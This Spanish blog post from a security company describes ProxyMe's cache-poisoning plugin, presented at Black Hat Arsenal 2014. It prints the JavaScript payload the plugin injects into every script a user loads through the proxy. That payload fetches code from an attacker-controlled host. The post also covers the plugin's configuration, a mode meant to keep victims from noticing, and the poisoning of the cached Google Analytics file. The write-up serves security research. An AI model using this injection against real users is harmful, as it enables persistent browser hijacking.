Nueva herramienta ProxyMe y ataques de cache poisoning (y II)ElevenPaths 21 agosto, 2014 ProxyMe es una aplicación proxy desarrollada por nuestro compañero Manuel Fernández de Eleven Paths. Fue presentada durante el evento Arsenal del congreso de seguridad Black Hat, que se celebró entre los días 2 y 7 de agosto del 2014 en Las Vegas. Ya está disponible para su descarga con el código fuente desde https://code.google.com/p/proxyme/. El plugin «CachePoison.dll» utiliza un ataque conocido como «Cache poisoning». Fundamentalmente, consiste en forzar a un usuario a que su navegador cachee determinado contenido, al que normalmente se le suele añadir código malicioso para que sea ejecutado por el cliente. Para conseguir que el contenido sea cacheado (y se consiga una permanencia del código malicioso en el equipo cliente) es necesario realizar previamente un ataque de «man-in-the-middle». De esta tarea se encarga ProxyMe. El plugin «CachePoison.dll» se encarga a su vez de modificar la respuesta añadiendo la siguiente cabecera HTTP: Expires: Thu, 25 Dec 2100 11:00:00 GMT De este modo, cuando el cliente recibe la respuesta (modificada por el plugin), la almacena en caché teóricamente hasta el 25 de diciembre del 2100, lo que a efectos prácticos es de forma permanente. El plugin también añade las siguientes líneas de código a todos los ficheros javascript por donde el usuario navegue durante el tiempo que utilice el servidor proxy. Esto le permitirá disfrutar del control sobre ese equipo a un hipotético atacante : function payload() { x=document.getElementById("poison"); if (x == null) { var script= document.createElement('script'); script.src='http://attacker/js.js'; document.getElementsByTagName('html')[0].appendChild(script); } } payload(); Este código javascript carga de forma dinámica en el árbol DOM HTML una nueva etiqueta «script» que carga a su vez otro fichero localizado en «http://attacker/js.js». Esta URL sería controlada por el atacante y contendría el código deseado. Esquema del flujo de ataque La URL controlada por el atacante es configurable. Al igual que ProxyMe, el plugin dispone de un pequeño fichero de configuración en «/Plugins/ cachepoison.cfg». Fichero de configuración del plugin La configuración es muy sencilla. Dispone de tres parámetros: «hookUrl», «mode» y «sandboxpoison». Los modos en los que puede trabajar son «open» y «sandbox». En ambos casos será necesario introducir una URL con un javascript controlado por el atacante en el parámetro «hookUrl». Modo open y sandbox La principal diferencia entre los modos «open» y «sandbox» es: Modo «open»: permite que los usuarios puedan navegar como si de un proxy normal se tratara y sin ninguna limitación. En este caso el plugin «infectará» todos los ficheros javascript que solicite el navegador del usuario. Pero es importante recordar que esto puede suponer un riesgo que el atacante no tiene por qué asumir. La razón es que si se usa este modo, el servidor proxy del atacante queda expuesto para cualquier uso, por lo que podría ser utilizado para realizar otro tipo de actividad. El modo «sandbox»: Solventa ese riesgo y limita la navegación a las URL indicadas en el campo «sandboxPoison». Adicionalmente se fuerza al navegador del cliente a navegar por esas direcciones para asegurar su infección. El proxy muestra un mensaje de error para evitar que el usuario sospeche. Fuerza al cliente a almacenar en caché las URLs indicadas De este modo los ficheros indicados serán cacheados en el navegador de los usuarios que hayan navegado a través del servidor proxy. En el ejemplo que se muestra a continuación se pueden ver las últimas líneas que han sido añadidas al fichero de Google Analytics. El fichero de Google Analytics resulta de especial interés en este ataque debido a que este se carga desde una gran cantidad de sitios web, por lo que cualquier sitio que utilice este javascript como recurso se verá afectado. Fichero con contenido malicioso cacheado Una vez modificado y cacheado el contenido, el usuario queda a la merced del atacante. En este estadio del ataque, ya no importa que el cliente deje de utilizar el proxy o que cierre el navegador… el contenido ha sido cacheado y pueden pasar incluso años hasta que deje de encontrase en la caché (a no ser que el usuario limpie la caché explícitamente). Como pequeña demostración, se muestra en la imagen cómo al acceder a una página legítima como puede ser https://www.elevenpaths.com (que utiliza el recurso externo https://ssl.google-analytics.com/ga.js) se cargaría el código malicioso, que a su vez haría una inclusión del código localizado en https://www.itsm3.com/hook.js. En este caso, solo se muestra un mensaje de alerta. Carga del contenido malicioso cuando ya está almacenado en caché Esta es únicamente una de las muchas utilidades que se le puede dar a ProxyMe. Si se desea conocer más o colaborar con el desarrollo de plugins, puedes contactar con el autor desde la página del proyecto. BlackHat Arsenal En cuanto al evento Arsenal en sí, resultó un éxito. Tanto por las distintas herramientas que han sido mostradas como por la representación española (cada año más numerosa y representativa). En esta edición se presentaron las herramientas «made in Spain»: Voyeur, WhatsApp Privacy Guard y ProxyMe, de la mano de Juan Garrido, Jaime Sanchez y Manuel Fernández respectivamente. De izquierda a derecha: Jaime Sanchez, Nabil Ouchn, Andres Riancho, Andreas Schmidt, Juan Garrido y Manuel Fernández Pero en Arsenal, (y mucho menos en Las Vegas) no todo son conferencias. El congreso BlackHat es un lugar magnifico para realizar networking con auténticos genios de la informática con los que compartir conocimientos, anécdotas… y fiesta. * Nueva herramienta ProxyMe y ataques de cache poisoning (I) Manuel Fernández manuel.fernandez@11paths.com Latch SDKs y repositoriosNews: Latch plugin for SugarCRM is out
Telefónica Tech Boletín semanal de Ciberseguridad, 5 – 9 de junio Barracuda advierte acerca del reemplazo inmediato de los dispositivos ESG vulnerados La empresa de seguridad Barracuda emitió una advertencia en la cual está instando a las organizaciones afectadas por la...
Nacho Palou Typosquatting: cómo detectarlo y protegerse No siempre es fácil detectar y protegerse del typosquatting. Estas recomendaciones de nuestros expertos te ayudan a reducir el riesgo.
Nacho Palou El poder de la digitalización sostenible en la lucha contra el cambio climático El cambio climático es considerado el mayor desafío de nuestro tiempo. Sus efectos abarcan desde la desertización y sequías hasta inundaciones y aumento del nivel del mar. Algunas de...
Telefónica Tech Boletín semanal de Ciberseguridad, 27 de mayo – 2 de junio Descubierta puerta trasera en cientos de placas base Gigabyte Investigadores de ciberseguridad de Eclypsium descubrieron una puerta trasera secreta en el firmware de cientos de modelos de placas base Gigabyte,...
Nacho Palou Cómo el lenguaje pone en riesgo la Ciberseguridad de las empresas La Ciberseguridad es un asunto fundamental para las empresas y organizaciones, de cualquier tamaño y sector. Los ciberataques pueden tener consecuencias graves o muy graves —incluso fatales— para los...
Carlos Rebato Criptografía, una herramienta para proteger los datos compartidos en la red Actualmente, la Ciberseguridad representa un aspecto primordial en las empresas. No obstante, cada día surgen nuevos modos de atentar contra ella. Muchos se han preguntado: ¿de qué manera las...